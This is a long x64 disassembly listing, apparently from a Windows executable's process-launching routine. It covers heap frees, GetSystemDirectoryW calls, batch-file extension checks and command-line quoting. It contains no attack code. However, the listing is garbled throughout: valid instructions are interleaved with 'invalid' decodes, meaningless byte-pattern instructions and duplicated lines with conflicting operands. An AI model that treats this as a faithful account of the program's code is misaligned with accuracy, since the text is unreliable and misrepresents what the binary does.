add dword [rsp + rcx + 0x48], esi
lea ecx, [rbp + 0x4f0]
lea rcx, [rbp + 0x4f0]
call fcn.1400812a0
mov r12, qword [rbp + 0x4f0]
mov r8, qword [rbp + 0x500]
mov rcx, rdi
mov rdx, r12
call fcn.140088c70
cmp qword [rbp + 0x4f8], 0
add byte [rax], al
add byte [rax], al
je 0x140083a6d
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r12
call r13
jmp 0x140083a6d
cmp qword [rbp + 0x598], 0
je 0x140083b72
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x5a8]
call qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [0x1400e2170]
mov r13, qword [rbp + 0x5a0]
jmp 0x140083dd9
mov r9, rax
mov r8, rdx
xor eax, eax
test r9, r9
cmovne rax, r9
test rax, rax
je 0x140083bb5
test r9, r9
cmove r8, rdx
add rax, r8
sub rax, rsi
cmp rdi, rax
jb 0x140083bb5
mov qword [rbp + 0x500], rax
mov rdi, rax
lea rcx, [rbp - 0x30]
mov rdx, rsi
mov r8, rdi
call case.0x14002753a.1010
mov rcx, qword [rbp - 0x30]
mov rax, qword [rbp - 0x28]
test rcx, rcx
je 0x140083bf3
mov rdx, qword [rbp - 0x20]
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rdx
lea rcx, [rbp + 0x4c0]
lea rdx, [rbp - 0x30]
call fcn.140088ba0
jmp 0x140083c05
mov qword [rbp + 0x4c8], rax
mov qword [rbp + 0x4c0], 0
cmp qword [rbp + 0x4f8], 0
mov r13, qword [rbp + 0x5a0]
je 0x140083c28
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
add al, byte [rax]
add al, byte [rax]
mov r9, qword [rbp + 0x4c0]
mov rbx, qword [rbp + 0x4c8]
test r9, r9
mov r8, qword [rbp + 0x588]
je 0x140083dd9
xchg ebx, eax
add dword [rax], eax
invalid
xchg ebx, eax
add dword [rax], eax
add byte [rbx + rcx*4 - 0x6b], cl
rol byte [rax + rax], 1
add byte [rax - 0x77], cl
popfq
cwde
add eax, 0x83490000
cli
add eax, 0xb8b58b4c
add eax, 0x894c0000
lea ebp, [rax + 0x72000005]
invalid
mov r10, qword [rbp + 0x4d0]
mov qword [rbp + 0x598], rbx
cmp r10, 5
mov r14, qword [rbp + 0x5b8]
mov qword [rbp + 0x5a8], r9
jb case.0x140084047.2
cmp word [r9 + r10*2 - 0xa], 0x2e
jne case.0x140084047.2
cmp word [r9 + r10*2 - 2], 0
je 0x140084027
mov rsi, qword [r8 + 0x90]
mov rdi, qword [r8 + 0xa0]
mov bl, byte [r8 + 0xc5]
mov qword [rbp + 0x4f0], 2
add al, 0
add byte [rdx], al
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x140083c2b
clc
add al, 0
add byte [rax - 0x73], cl
invalid
invalid
add al, 0
add byte [rcx], dh
shr al, cl
mov byte [rsi - 0x74b70008], cl
test eax, esi
add al, 0
add byte [rax - 0x75], cl
lea eax, [rax]
add eax, 0xc7660000
add al, 0x48
and al, byte [rax]
inc rcx
mov qword [rbp + 0x500], rcx
mov qword [rbp - 0x30], r14
mov rax, qword [rbp + 0x4a8]
mov qword [rbp - 0x28], rax
mov word [rbp - 0x20], 0
lea rcx, [rbp + 0x4f0]
lea rdx, [rbp - 0x30]
call fcn.1400773f0
mov rdx, qword [rbp + 0x500]
cmp rdx, qword [rbp + 0x4f8]
jne 0x140083d1e
add al, 0
add byte [rdx], al
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x140083c2b
lea rcx, [rbp + 0x4f0]
call fcn.14000cb40
mov rdx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x4f0]
mov word [rax + rdx*2], 0x22
inc rdx
mov qword [rbp + 0x500], rdx
lea rax, [rdi + rdi*4]
lea r15, [rsi + rax*8]
lea r14, [rbp + 0x4f0]
mov r13, qword [rbp + 0x5a0]
nop dword [rax + rax]
cmp rsi, r15
je 0x140083e82
mov rdx, qword [rbp + 0x500]
cmp rdx, qword [rbp + 0x4f8]
jne 0x140083d78
mov rcx, r14
call fcn.14000cb40
mov rdx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x4f0]
mov word [rax + rdx*2], 0x20
inc rdx
mov qword [rbp + 0x500], rdx
mov rcx, r14
mov rdx, rsi
mov r8d, ebx
call fcn.140088e50
mov rdi, rax
add rsi, 0x28
test rax, rax
mov r13, qword [rbp + 0x5a0]
je 0x140083d50
cmp qword [rbp + 0x4f8], 0
je 0x140083faa
mov r8, qword [rbp + 0x4f0]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140083faa
mov rax, qword [rbp + 0x4d8]
mov qword [rax], rbx
mov qword [rax + 0x10], 2
add byte [rax], al
cmp qword [rbp + 0x3f0], 0
je 0x140083e56
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
je 0x140083e36
mov rdx, qword [rbp + 0x400]
mov rax, qword [rbp + 0x408]
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x18], rdx
add al, 0
add byte [rax - 0x75], cl
test dword [rax], ecx
add al, 0
add byte [rax - 0x39], cl
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], rcx
invalid
mov dword [rbp - 0x18], edx
mov qword [rbp - 8], 0
mov qword [rbp], rcx
mov qword [rbp + 8], rdx
mov ecx, 1
jmp 0x140083e3a
invalid
add al, 0x31
leave
xor ecx, ecx
xor eax, eax
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x10], rcx
mov qword [rbp + 0x10], rax
lea rcx, [rbp - 0x30]
call fcn.1400892e0
mov r13, qword [rbp + 0x5a0]
cmp dword [r13], 4
jb 0x140083e67
mov rcx, qword [r13 + 8]
call qword [sym.imp.kernel32.dll_CloseHandle]
push rsp
add al, byte [rax]
movaps xmm6, xmmword [rbp + 0x5d0]
add rsp, 0x668
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax - 0x7f], cl
invalid
mov rax, qword [rbp + 0x4f0]
mov rdi, qword [rbp + 0x4f8]
test rax, rax
je 0x140083faa
mov rdx, qword [rbp + 0x500]
mov cl, 1
add eax, 0x1b10000
mov dword [rbp + 0x4a8], ecx
mov dword [rbp + 0x41c], 0
mov rcx, qword [rbp + 0x5a8]
test al, 5
add byte [rax], al
mov qword [rbp + 0x580], rcx
mov rcx, qword [rbp + 0x598]
cwde
add eax, 0x89480000
lea edi, [rax + 0x48000005]
mov esi, dword [rbp + 0x588]
invalid
invalid
add byte [rax], al
cwde
add eax, 0x89480000
lea edi, [rax + 0x48000005]
mov esi, dword [rbp + 0x588]
invalid
invalid
add byte [rax], al
mov byte [0xc9503ed7], al
test eax, eax
add al, 0
add byte [rax - 0x77], cl
mov ebp, 0x4c8
mov qword [rbp + 0x4c0], rax
mov qword [rbp + 0x4c8], rdi
mov qword [rbp + 0x4d0], rdx
cmp rdx, rdi
jne 0x140083f17
mov byte [rbp + 0x5c3], 1
lea rcx, [rbp + 0x4c0]
lea ecx, [rbp + 0x4c0]
lea ecx, [rbp + 0x4c0]
call fcn.14000cb40
mov rax, qword [rbp + 0x4c0]
mov rdx, qword [rbp + 0x4d0]
mov r13, qword [rbp + 0x5a0]
dec dword [rax - 0x75]
test eax, eax
add al, 0
add byte [rax - 0x75], cl
xchg ebp, eax
rol byte [rax + rax], 1
add byte [rbx + rcx*4 - 0x53], cl
movabs al, byte [0x5004c766000005]
add byte [rax - 1], cl
ret 0x8948
mov word [rax + rdx*2], 0
inc rdx
mov qword [rbp + 0x4d0], rdx
cmp byte [rsi + 0xc4], 0
mov eax, 0x400
mov r15d, 0x608
cmove r15d, eax
or r15d, dword [rsi + 0xc0]
cmp qword [rbp + 0x3f0], 0
je 0x140083fec
add byte [rax - 0x7d], cl
mov ebp, 0x3f0
add byte [rdi], cl
test byte [rdx + 0x48000000], bl
mov esi, dword [rbp + 0x3f8]
mov rsi, qword [rbp + 0x3f8]
mov rdi, qword [rbp + 0x400]
mov rbx, qword [rbp + 0x408]
mov qword [rbp + 0x490], rsi
mov qword [rbp + 0x498], rdi
mov qword [rbp + 0x4a0], rbx
mov qword [rbp + 0x560], 2
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x568], xmm0
test rbx, rbx
je 0x1400841b2
mov r14d, 2
xor r12d, r12d
jmp 0x1400841e6
mov rax, qword [rbp + 0x4d8]
mov qword [rax], rdi
mov qword [rax + 0x10], 2
xor esi, esi
cmp qword [rbp + 0x598], 0
je 0x140083fde
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x5a8]
call qword [sym.imp.kernel32.dll_HeapFree]
test sil, sil
je 0x140083deb
jmp 0x140083e56
mov eax, 2
xor ecx, ecx
mov qword [rbp + 0x4e8], rcx
xor r14d, r14d
cmp byte [rsi + 0x88], 2
mov qword [rbp + 0x4e0], rax
loopne case.0x14008165d.15
add byte [rax], al
loopne case.0x14008165d.15
add byte [rax], al
jne 0x14008467d
insb byte [rdi], dx
invalid
xor r12d, r12d
mov esi, 2
add byte [rax], al
add byte [rax], al
xor eax, eax
mov qword [rbp + 0x4b0], rax
jmp 0x1400848d9
movzx eax, word [r9 + r10*2 - 8]
lea ecx, [rax - 0x42]
cmp ecx, 0x21
ja case.0x140084047.2
lea rdx, [0x1400e81d4]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
movzx ecx, word [r9 + r10*2 - 6]
or ecx, 0x20
cmp ecx, 0x61
jne 0x140084065
movzx ecx, word [r9 + r10*2 - 4]
or ecx, 0x20
cmp ecx, 0x74
je 0x140084095
cmp ax, 0x43
jne case.0x140084047.2
movzx eax, word [r9 + r10*2 - 6]
or eax, 0x20
cmp eax, 0x6d
jne case.0x140084047.2
movzx eax, word [r9 + r10*2 - 4]
add eax, 0xffffffbc
test eax, 0xffdf
jne case.0x140084047.2
mov qword [rbp + 0x4e0], r10
mov qword [rbp + 0x4f0], 2
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x4f8], xmm0
mov eax, 0x200
mov ecx, 2
mov qword [rbp + 0x5b8], rcx
xor edi, edi
xor esi, esi
xor ebx, ebx
cmp rax, 0x201
jb 0x1400840e2
jmp 0x1400840f1
jae 0x1400847ea
cmp rax, 0x201
jae 0x1400840f1
mov r15d, 0x200
lea r14, [rbp - 0x30]
mov r12, rax
jmp 0x14008414b
sub rax, rbx
sub rsi, rbx
cmp rsi, rax
jae 0x140084123
lea rcx, [rbp + 0x4f0]
mov rdx, rbx
mov r8, rax
call fcn.1400a3250
mov rax, qword [rbp + 0x4f0]
mov qword [rbp + 0x5b8], rax
mov rdi, qword [rbp + 0x4f8]
mov eax, 0xffffffff
cmp rdi, rax
mov ebx, 0xffffffff
cmovb rbx, rdi
mov qword [rbp + 0x500], rbx
mov rsi, rdi
mov r15, rbx
mov r14, qword [rbp + 0x5b8]
mov r12, rbx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, r14
mov edx, r12d
call qword [sym.imp.kernel32.dll_GetSystemDirectoryW]
mov r13d, eax
test eax, eax
jne 0x140084174
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x1400848a4
mov eax, r13d
cmp r12, rax
jne 0x1400840d4
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140085916
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov rax, r12
cmp rax, 0x201
jae 0x1400840f1
jmp 0x1400840e2
mov byte [rbp + 0x5c4], 1
lea rcx, [rbp + 0x560]
xor edx, edx
call fcn.14000cb40
mov r14, qword [rbp + 0x560]
mov r12, qword [rbp + 0x570]
mov word [r14 + r12*2], 0
inc r12
mov qword [rbp + 0x570], r12
xor eax, eax
test rsi, rsi
setne al
cmove rbx, rsi
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], rdi
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 0
mov qword [rbp], rsi
mov qword [rbp + 8], rdi
mov qword [rbp + 0x10], rbx
lea rcx, [rbp + 0x4f0]
lea rdx, [rbp - 0x30]
call fcn.140081ca0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x14008482f
mov r9, qword [rbp + 0x500]
imul rdx, r9, 0x38
cmp byte [rcx + rdx + 0x198], 2
je 0x14008482f
mov rax, qword [rcx + rdx + 0x168]
mov qword [rbp + 0x4e0], rax
mov rax, qword [rcx + rdx + 0x170]
mov qword [rbp + 0x4b0], rax
mov rdi, qword [rcx + rdx + 0x178]
mov r8, qword [rcx + rdx + 0x180]
mov rax, qword [rcx + rdx + 0x188]
shl r9, 5
mov r10, qword [rcx + r9]
mov qword [rbp + 0x4e8], r10
mov r10, qword [rcx + r9 + 8]
mov qword [rbp + 0x4b8], r10
mov r13, qword [rcx + r9 + 0x10]
movzx r9d, byte [rcx + r9 + 0x18]
mov byte [rbp + 0x420], r9b
mov rcx, qword [rcx + rdx + 0x190]
add rcx, r8
xor r11d, r11d
mov rdx, r8
jmp 0x1400842dd
xor r11d, r11d
test r9w, r9w
je 0x1400845d4
mov r9w, 1
test r11w, r11w
jne 0x1400842d0
cmp rdx, rcx
je 0x140084398
movzx ebx, byte [rdx]
movzx r10d, bl
test r10b, r10b
js 0x140084302
inc rdx
jmp 0x140084363
mov r11d, r10d
and r11d, 0x1f
movzx esi, byte [rdx + 1]
and esi, 0x3f
cmp r10b, 0xdf
jbe 0x140084355
movzx r10d, byte [rdx + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp bl, 0xf0
jb 0x14008436e
movzx esi, byte [rdx + 3]
add rdx, 4
and r11d, 7
shl r11d, 0x12
shl r10d, 6
and esi, 0x3f
or esi, r10d
or esi, r11d
mov r10d, esi
cmp r10d, 0xffff
jbe 0x140084363
jmp 0x140084382
add rdx, 2
shl r11d, 6
or r11d, esi
mov r10d, r11d
xor r11d, r11d
mov r9d, r10d
jmp 0x1400842d3
add rdx, 3
shl r11d, 0xc
or r10d, r11d
cmp r10d, 0xffff
jbe 0x140084363
and r10d, 0x3ff
or r10d, 0xdc00
mov r11d, r10d
jmp 0x1400842d3
test rax, rax
je 0x1400843ac
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x568]
sub rax, r12
cmp rax, rdi
jae 0x1400843db
lea rcx, [rbp + 0x560]
mov rdx, r12
mov r8, rdi
call fcn.1400a3250
mov r14, qword [rbp + 0x560]
mov r12, qword [rbp + 0x570]
lea r8, [rdi + rdi]
lea rcx, [r14 + r12*2]
mov rsi, qword [rbp + 0x4e0]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
add r12, rdi
mov qword [rbp + 0x570], r12
cmp qword [rbp + 0x4b0], 0
je 0x140084418
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp r12, qword [rbp + 0x568]
jne 0x140084445
mov byte [rbp + 0x5c2], 1
lea rcx, [rbp + 0x560]
mov rdx, r12
call fcn.14000cb40
mov r14, qword [rbp + 0x560]
mov r12, qword [rbp + 0x570]
mov word [r14 + r12*2], 0x3d
inc r12
mov qword [rbp + 0x570], r12
mov r14, qword [rbp + 0x4e8]
add r13, r14
xor r8d, r8d
mov rax, r14
jmp 0x140084474
xor r8d, r8d
test cx, cx
je 0x140084779
mov cx, 1
test r8w, r8w
jne 0x140084468
cmp rax, r13
je 0x140084528
movzx r9d, byte [rax]
movzx edx, r9b
test dl, dl
js 0x14008449b
inc rax
jmp 0x14008451e
mov r8d, edx
and r8d, 0x1f
movzx r10d, byte [rax + 1]
and r10d, 0x3f
cmp dl, 0xdf
jbe 0x1400844e7
movzx edx, byte [rax + 2]
shl r10d, 6
and edx, 0x3f
or edx, r10d
cmp r9b, 0xf0
jb 0x1400844f7
movzx r9d, byte [rax + 3]
add rax, 4
and r8d, 7
shl r8d, 0x12
shl edx, 6
and r9d, 0x3f
or r9d, edx
or r9d, r8d
mov edx, r9d
jmp 0x140084502
add rax, 2
shl r8d, 6
or r8d, r10d
mov edx, r8d
jmp 0x14008451e
add rax, 3
shl r8d, 0xc
or edx, r8d
cmp edx, 0xffff
jbe 0x14008451e
and edx, 0x3ff
or edx, 0xdc00
mov r8d, edx
jmp 0x14008446b
xor r8d, r8d
mov ecx, edx
jmp 0x14008446b
cmp byte [rbp + 0x420], 2
je 0x14008462f
mov qword [rbp + 0x430], r14
mov qword [rbp + 0x438], r13
mov word [rbp + 0x440], 0
lea rcx, [rbp + 0x560]
lea rdx, [rbp + 0x430]
call fcn.1400773f0
cmp qword [rbp + 0x4b8], 0
je 0x14008457f
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x4e8]
call qword [sym.imp.kernel32.dll_HeapFree]
mov r12, qword [rbp + 0x570]
cmp r12, qword [rbp + 0x568]
jne 0x1400845ac
mov byte [rbp + 0x5c2], 0
lea rcx, [rbp + 0x560]
mov rdx, r12
call fcn.14000cb40
mov r12, qword [rbp + 0x570]
lea rcx, [rbp + 0x4f0]
lea rdx, [rbp - 0x30]
mov r14, qword [rbp + 0x560]
mov word [r14 + r12*2], 0
inc r12
mov qword [rbp + 0x570], r12
jmp 0x140084229
test rax, rax
je 0x1400845e8
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x4b8], 0
mov r8, qword [rbp + 0x4e8]
je 0x140084608
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x4b0], 0
mov r8, qword [rbp + 0x4e0]
je 0x140084628
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea r14, str.nul_byte_found_in_provided_data
mov byte [rbp + 0x5c4], 0
lea rcx, [rbp - 0x30]
call fcn.1400892e0
cmp qword [rbp + 0x568], 0
je 0x14008465f
mov r8, qword [rbp + 0x560]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r13, qword [rbp + 0x5a0]
mov rax, qword [rbp + 0x4d8]
mov qword [rax], r14
mov qword [rax + 0x10], 2
jmp 0x140085646
mov rax, qword [rsi + 0x70]
mov rcx, qword [rsi + 0x80]
add rcx, rax
xor r10d, r10d
mov rdx, rax
jmp 0x1400846a0
xor r10d, r10d
test r8w, r8w
je 0x14008475b
mov r8w, 1
test r10w, r10w
jne 0x140084693
cmp rdx, rcx
je 0x14008478f
movzx r11d, byte [rdx]
movzx r9d, r11b
test r9b, r9b
js 0x1400846c9
inc rdx
jmp 0x140084750
mov r10d, r9d
and r10d, 0x1f
movzx esi, byte [rdx + 1]
and esi, 0x3f
cmp r9b, 0xdf
jbe 0x140084716
movzx r9d, byte [rdx + 2]
shl esi, 6
and r9d, 0x3f
or r9d, esi
cmp r11b, 0xf0
jb 0x140084726
movzx r11d, byte [rdx + 3]
add rdx, 4
and r10d, 7
shl r10d, 0x12
shl r9d, 6
and r11d, 0x3f
or r11d, r9d
or r11d, r10d
mov r9d, r11d
jmp 0x140084731
add rdx, 2
shl r10d, 6
or r10d, esi
mov r9d, r10d
jmp 0x140084750
add rdx, 3
shl r10d, 0xc
or r9d, r10d
cmp r9d, 0xffff
jbe 0x140084750
and r9d, 0x3ff
or r9d, 0xdc00
mov r10d, r9d
jmp 0x140084696
xor r10d, r10d
mov r8d, r9d
jmp 0x140084696
lea rax, str.nul_byte_found_in_provided_data
mov rcx, qword [rbp + 0x4d8]
mov qword [rcx], rax
mov qword [rcx + 0x10], 2
jmp 0x140085626
mov r8, r14
cmp qword [rbp + 0x4b8], 0
jne 0x140084619
jmp 0x140084628
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
mov word [rbp - 0x20], 0
lea rcx, [rbp + 0x4f0]
lea rdx, [rbp - 0x30]
call fcn.140086aa0
mov rax, qword [rbp + 0x4f8]
mov rdx, qword [rbp + 0x500]
cmp rdx, rax
jne 0x1400848c1
lea rcx, [rbp + 0x4f0]
call fcn.14000cb40
mov rax, qword [rbp + 0x4f8]
mov qword [rbp + 0x4b0], rax
mov rdx, qword [rbp + 0x500]
jmp 0x1400848c8
cmp r15, rax
jb 0x14008596c
test r13d, r13d
mov rsi, qword [rbp + 0x588]
je 0x140084a59
mov r15, rax
lea rbx, [rax + rax]
movzx eax, byte [0x1400f02c0]
mov edx, 2
mov rcx, rbx
call fcn.14003a3a0
test rax, rax
je 0x140085998
mov r13, rax
jmp 0x140084a64
mov byte [rbp + 0x5c4], 0
lea rcx, [rbp - 0x30]
call fcn.1400892e0
cmp r12, qword [rbp + 0x568]
jne 0x14008486c
mov byte [rbp + 0x5c4], 0
lea rcx, [rbp + 0x560]
mov rdx, r12
call fcn.14000cb40
mov r14, qword [rbp + 0x560]
mov r12, qword [rbp + 0x570]
mov word [r14 + r12*2], 0
mov rax, qword [rbp + 0x560]
test rax, rax
mov r13, qword [rbp + 0x5a0]
mov rsi, qword [rbp + 0x588]
je 0x140084666
mov rcx, qword [rbp + 0x568]
mov qword [rbp + 0x4e8], rcx
jmp 0x140083ffd
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
xor r13d, r13d
mov rsi, qword [rbp + 0x588]
jmp 0x140084a75
mov qword [rbp + 0x4b0], rax
mov r12, qword [rbp + 0x4f0]
mov word [r12 + rdx*2], 0
mov rsi, r12
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x490], xmm0
mov qword [rbp + 0x4a0], 0
lea rdi, [0x1400f0230]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1400f02b8]
shl rax, 1
test rax, rax
mov qword [rbp + 0x4b8], rsi
jne 0x1400851ab
xor esi, esi
mov r13b, byte [0x1400f0238]
xor eax, eax
test r13b, r13b
setne al
mov qword [rbp + 0x568], rdi
mov byte [rbp + 0x570], sil
mov qword [rbp + 0x560], rax
mov qword [rbp + 0x430], 0
mov qword [rbp + 0x440], 0
mov qword [rbp + 0x450], 0
mov dword [rbp + 0x3d0], 2
cmp byte [rbp + 0x428], 0
lea rcx, [rbp + 0x3d0]
mov rax, qword [rbp + 0x5a0]
cmovne rcx, rax
mov rdx, qword [rbp + 0x588]
cmp dword [rdx], 6
cmovne rcx, rdx
cmp dword [rdx + 0x10], 6
lea rbx, [rdx + 0x10]
cmove rbx, rax
lea rdi, [rdx + 0x20]
cmp dword [rdx + 0x20], 6
cmove rdi, rax
lea r8, [rbp + 0x430]
mov edx, 0xfffffff6
call fcn.1400893b0
mov qword [rbp + 0x428], rdx
test rax, rax
je 0x1400849e5
mov rax, qword [rbp + 0x4d8]
mov rcx, qword [rbp + 0x428]
mov qword [rax], rcx
mov qword [rax + 0x10], 2
jmp 0x140085592
lea r8, [rbp + 0x440]
mov rcx, rbx
mov edx, 0xfffffff5
call fcn.1400893b0
test rax, rax
je 0x140084a15
mov rax, qword [rbp + 0x4d8]
mov qword [rax], rdx
mov qword [rax + 0x10], 2
jmp 0x140085585
mov qword [rbp + 0x420], rdx
lea r8, [rbp + 0x450]
mov rcx, rdi
mov edx, 0xfffffff4
call fcn.1400893b0
test rax, rax
je 0x1400851bb
mov rax, qword [rbp + 0x4d8]
mov qword [rax], rdx
mov qword [rax + 0x10], 2
jmp 0x140085578
movups xmm6, xmmword [rbp - 0x28]
jmp 0x1400839af
mov r15, rax
mov r13d, 2
xor ebx, ebx
mov rcx, r13
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, r15
test rdi, rdi
mov rbx, rax
je 0x140084a96
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x5b8]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, rbx
test r13, r13
je 0x140084e2a
mov qword [rbp + 0x430], r13
mov qword [rbp + 0x438], rax
mov qword [rbp + 0x440], rax
lea r12, [0x1400e21c3]
xor r8d, r8d
lea rdi, [rbp + 0x430]
xor ecx, ecx
jmp 0x140084af1
mov rax, rbx
mov r15d, ecx
mov r14, r8
mov word [r13 + rax*2], r15w
inc rax
mov rbx, rax
mov qword [rbp + 0x440], rax
mov r8, r14
mov ecx, esi
mov rsi, qword [rbp + 0x588]
test r12, r12
je 0x140084b6c
test cx, cx
je 0x140084b02
xor esi, esi
jmp 0x140084be8
lea rax, [0x1400e21cb]
cmp r12, rax
je 0x140084b6c
movzx r10d, byte [r12]
movzx eax, r10b
test al, al
js 0x140084b23
inc r12
jmp 0x140084be4
mov edx, eax
and edx, 0x1f
movzx r11d, byte [r12 + 1]
and r11d, 0x3f
cmp al, 0xdf
jbe 0x140084b9f
movzx r9d, byte [r12 + 2]
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x140084bad
movzx eax, byte [r12 + 3]
and edx, 7
shl edx, 0x12
shl r9d, 6
and eax, 0x3f
or eax, r9d
or eax, edx
cmp eax, 0x110000
jne 0x140084bbc
cmp r8, 1
je 0x140084c4a
mov r14d, 1
xor r12d, r12d
xor r15d, r15d
mov rax, rbx
cmp rbx, qword [rbp + 0x438]
jne 0x140084b98
neg r8
mov esi, ecx
jmp 0x140084c2d
mov esi, ecx
jmp 0x140084ad2
add r12, 2
shl edx, 6
or edx, r11d
mov eax, edx
jmp 0x140084be4
add r12, 3
shl edx, 0xc
or r9d, edx
mov eax, r9d
jmp 0x140084bc0
add r12, 4
cmp eax, 0xffff
jbe 0x140084be4
lea ecx, [rax + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
and eax, 0x3ff
or eax, 0xdc00
mov esi, eax
jmp 0x140084be8
xor esi, esi
mov ecx, eax
cmp rbx, qword [rbp + 0x438]
jne 0x140084ac9
lea rax, [0x1400e21c3]
sub rax, r12
add rax, 0xa
movabs rdx, 0xaaaaaaaaaaaaaaab
mul rdx
mov rax, rbx
mov r14, r8
shr rdx, 1
cmp si, 1
adc r8, 0xffffffffffffffff
sub rdx, r8
inc rdx
mov r15d, ecx
mov r8, rdx
inc r8
mov rcx, rdi
mov rdx, rax
call fcn.1400a3250
mov r13, qword [rbp + 0x430]
mov rax, rbx
jmp 0x140084ad2
mov rax, qword [rbp + 0x430]
mov rbx, qword [rbp + 0x438]
test rax, rax
je 0x140084e2a
mov qword [rbp + 0x580], rax
mov qword [rbp + 0x5b8], rbx
movzx eax, byte [rsi + 0xc5]
mov byte [rbp + 0x4e8], al
test al, al
setne byte [rbp + 0x4a8]
mov al, 1
test al, al
je 0x140085980
mov rax, qword [rsi + 0x90]
mov qword [rbp + 0x4b0], rax
mov rax, qword [rsi + 0xa0]
mov qword [rbp + 0x4b8], rax
movzx eax, byte [0x1400f02c0]
mov ecx, 0xc
mov edx, 2
call fcn.14003a3a0
test rax, rax
je 0x140085987
mov ecx, 6
mov word [rax], 0x63
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x20], 1
lea r15, [0x1400e1c7b]
mov edi, 1
xor r14d, r14d
lea r12, [0x1400e1c89]
lea r13, [0x1400e1c7a]
lea rbx, [rbp - 0x30]
jmp 0x140084d21
mov rax, qword [rbp - 0x30]
mov word [rax + rdi*2], r14w
inc rdi
mov qword [rbp - 0x20], rdi
mov r14d, esi
mov rsi, qword [rbp + 0x588]
test r14w, r14w
jne 0x140084de8
cmp r15, r12
je 0x140084e40
movzx r8d, byte [r15]
movzx r14d, r8b
test r14b, r14b
js 0x140084d49
inc r15
jmp 0x140084de8
mov ecx, r14d
and ecx, 0x1f
movzx r9d, byte [r15 + 1]
and r9d, 0x3f
cmp r14b, 0xdf
jbe 0x140084d9e
movzx edx, byte [r15 + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140084dad
movzx r14d, byte [r15 + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and r14d, 0x3f
or r14d, edx
or r14d, ecx
cmp r14d, 0x110000
je 0x140084e40
add r15, 4
jmp 0x140084db9
add r15, 2
shl ecx, 6
or ecx, r9d
mov r14d, ecx
jmp 0x140084de8
add r15, 3
shl ecx, 0xc
or edx, ecx
mov r14d, edx
cmp r14d, 0xffff
jbe 0x140084de8
lea ecx, [r14 + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
and r14d, 0x3ff
or r14d, 0xdc00
mov esi, r14d
mov r14d, ecx
jmp 0x140084dea
xor esi, esi
cmp rdi, qword [rbp - 0x28]
jne 0x140084d0b
mov rax, r13
sub rax, r15
add rax, 0x11
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 1
cmp si, 1
sbb rdx, 0
lea r8, [rdx + 2]
mov rcx, rbx
mov rdx, rdi
call fcn.1400a3250
jmp 0x140084d07
mov r13, qword [rbp + 0x5a0]
mov rax, qword [rbp + 0x4d8]
mov qword [rax], rbx
jmp 0x140083fb4
mov rdi, qword [rbp - 0x20]
mov qword [rbp + 0x500], rdi
movdqu xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp + 0x4f0], xmm0
cmp rdi, qword [rbp + 0x4f8]
jne 0x140084e87
lea rcx, [rbp + 0x4f0]
mov rdx, rdi
call fcn.14000cb40
mov r8, qword [rbp + 0x4e0]
